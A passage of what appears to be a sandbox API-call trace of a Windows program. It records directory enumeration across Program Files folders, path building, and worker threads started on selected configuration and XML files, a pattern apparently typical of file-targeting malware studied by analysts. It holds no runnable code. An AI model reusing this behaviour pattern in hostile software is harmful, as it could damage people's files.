lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0152.340] wcscmp (_String1="TASKL.ICO", _String2=".") returned 1 [0152.340] wcscmp (_String1="TASKL.ICO", _String2="..") returned 1 [0152.340] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQ.CFG", cAlternateFileName="")) returned 1 [0152.340] wcscmp (_String1="TASKREQ.CFG", _String2=".") returned 1 [0152.340] wcscmp (_String1="TASKREQ.CFG", _String2="..") returned 1 [0152.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a5070 [0152.340] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.340] wcscat (in: _Dest=0x202a5070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.340] wcscat (in: _Dest=0x202a5070, _Source="TASKREQ.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" [0152.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e0 [0152.341] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQL.ICO", cAlternateFileName="")) returned 1 [0152.341] wcscmp (_String1="TASKREQL.ICO", _String2=".") returned 1 [0152.341] wcscmp (_String1="TASKREQL.ICO", _String2="..") returned 1 [0152.341] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQS.ICO", cAlternateFileName="")) returned 1 [0152.342] wcscmp (_String1="TASKREQS.ICO", _String2=".") returned 1 [0152.342] wcscmp (_String1="TASKREQS.ICO", _String2="..") returned 1 [0152.342] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKS.ICO", cAlternateFileName="")) returned 1 [0152.342] wcscmp (_String1="TASKS.ICO", _String2=".") returned 1 [0152.342] wcscmp (_String1="TASKS.ICO", _String2="..") returned 1 [0152.342] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 1 [0152.342] wcscmp (_String1="TASKUPD.CFG", _String2=".") returned 1 [0152.342] wcscmp (_String1="TASKUPD.CFG", _String2="..") returned 1 [0152.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a5100 [0152.342] wcscpy (in: _Dest=0x202a5100, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.342] wcscat (in: _Dest=0x202a5100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.342] wcscat (in: _Dest=0x202a5100, _Source="TASKUPD.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" [0152.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20dc [0152.343] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 0 [0152.343] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0152.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0152.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0152.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 Thread: id = 1098 os_tid = 0x17d0 [0112.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205d9b0 [0112.087] wcscpy (in: _Dest=0x4205d9b0, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" [0112.087] wcscat (in: _Dest=0x4205d9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\" [0112.088] wcscat (in: _Dest=0x4205d9b0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*" [0112.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0112.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0112.089] wcscmp (_String1=".", _String2=".") returned 0 [0112.089] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.089] wcscmp (_String1="..", _String2=".") returned 1 [0112.089] wcscmp (_String1="..", _String2="..") returned 0 [0112.089] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0112.089] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0112.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0112.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d9b0) returned 1 [0112.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c3c0) returned 1 Thread: id = 1099 os_tid = 0x17d4 [0112.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85c3c0 [0112.092] wcscpy (in: _Dest=0x1b85c3c0, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" [0112.092] wcscat (in: _Dest=0x1b85c3c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\" [0112.092] wcscat (in: _Dest=0x1b85c3c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*" [0112.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0112.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0112.095] wcscmp (_String1=".", _String2=".") returned 0 [0112.095] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.095] wcscmp (_String1="..", _String2=".") returned 1 [0112.095] wcscmp (_String1="..", _String2="..") returned 0 [0112.095] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0112.095] wcscmp (_String1="Microsoft.Synchronization.Data.dll", _String2=".") returned 1 [0112.095] wcscmp (_String1="Microsoft.Synchronization.Data.dll", _String2="..") returned 1 [0112.095] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0112.095] wcscmp (_String1="Microsoft.Synchronization.Data.Server.dll", _String2=".") returned 1 [0112.096] wcscmp (_String1="Microsoft.Synchronization.Data.Server.dll", _String2="..") returned 1 [0112.096] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0112.096] wcscmp (_String1="Microsoft.Synchronization.Data.SqlServerCe.dll", _String2=".") returned 1 [0112.096] wcscmp (_String1="Microsoft.Synchronization.Data.SqlServerCe.dll", _String2="..") returned 1 [0112.096] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0112.096] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0112.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0112.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c3c0) returned 1 [0112.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c570) returned 1 Thread: id = 1100 os_tid = 0x17d8 [0112.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b86a1c0 [0112.100] wcscpy (in: _Dest=0x1b86a1c0, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0112.100] wcscat (in: _Dest=0x1b86a1c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0112.100] wcscat (in: _Dest=0x1b86a1c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*" [0112.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0112.100] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0112.101] wcscmp (_String1=".", _String2=".") returned 0 [0112.101] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.101] wcscmp (_String1="..", _String2=".") returned 1 [0112.101] wcscmp (_String1="..", _String2="..") returned 0 [0112.101] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1fc00, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xaa1fc00, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3cb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaucheck.exe", cAlternateFileName="")) returned 1 [0112.101] wcscmp (_String1="jaucheck.exe", _String2=".") returned 1 [0112.101] wcscmp (_String1="jaucheck.exe", _String2="..") returned 1 [0112.101] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83fa200, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83fa200, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x39780, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0112.101] wcscmp (_String1="jaureg.exe", _String2=".") returned 1 [0112.101] wcscmp (_String1="jaureg.exe", _String2="..") returned 1 [0112.101] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dd4800, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x5dd4800, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x7bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0112.101] wcscmp (_String1="jucheck.exe", _String2=".") returned 1 [0112.101] wcscmp (_String1="jucheck.exe", _String2="..") returned 1 [0112.102] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249c100, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x249c100, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3e180, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0112.102] wcscmp (_String1="jusched.exe", _String2=".") returned 1 [0112.102] wcscmp (_String1="jusched.exe", _String2="..") returned 1 [0112.102] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x583, dwReserved0=0x0, dwReserved1=0x0, cFileName="task.xml", cAlternateFileName="")) returned 1 [0112.102] wcscmp (_String1="task.xml", _String2=".") returned 1 [0112.102] wcscmp (_String1="task.xml", _String2="..") returned 1 [0112.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c570 [0112.102] wcscpy (in: _Dest=0x1b85c570, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0112.102] wcscat (in: _Dest=0x1b85c570, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0112.102] wcscat (in: _Dest=0x1b85c570, _Source="task.xml" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" [0127.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d8 [0127.183] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1 [0127.183] wcscmp (_String1="task64.xml", _String2=".") returned 1 [0127.183] wcscmp (_String1="task64.xml", _String2="..") returned 1 [0127.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5340 [0127.183] wcscpy (in: _Dest=0x202a5340, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0127.183] wcscat (in: _Dest=0x202a5340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0127.183] wcscat (in: _Dest=0x202a5340, _Source="task64.xml" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" [0127.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0127.184] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0 [0127.185] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0127.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0127.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0127.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e290) returned 1 Thread: id = 1101 os_tid = 0x17dc [0112.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c3c0 [0112.103] wcscpy (in: _Dest=0x1b85c3c0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0112.103] wcscat (in: _Dest=0x1b85c3c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\" [0112.103] wcscat (in: _Dest=0x1b85c3c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*" [0112.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e200 [0112.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, 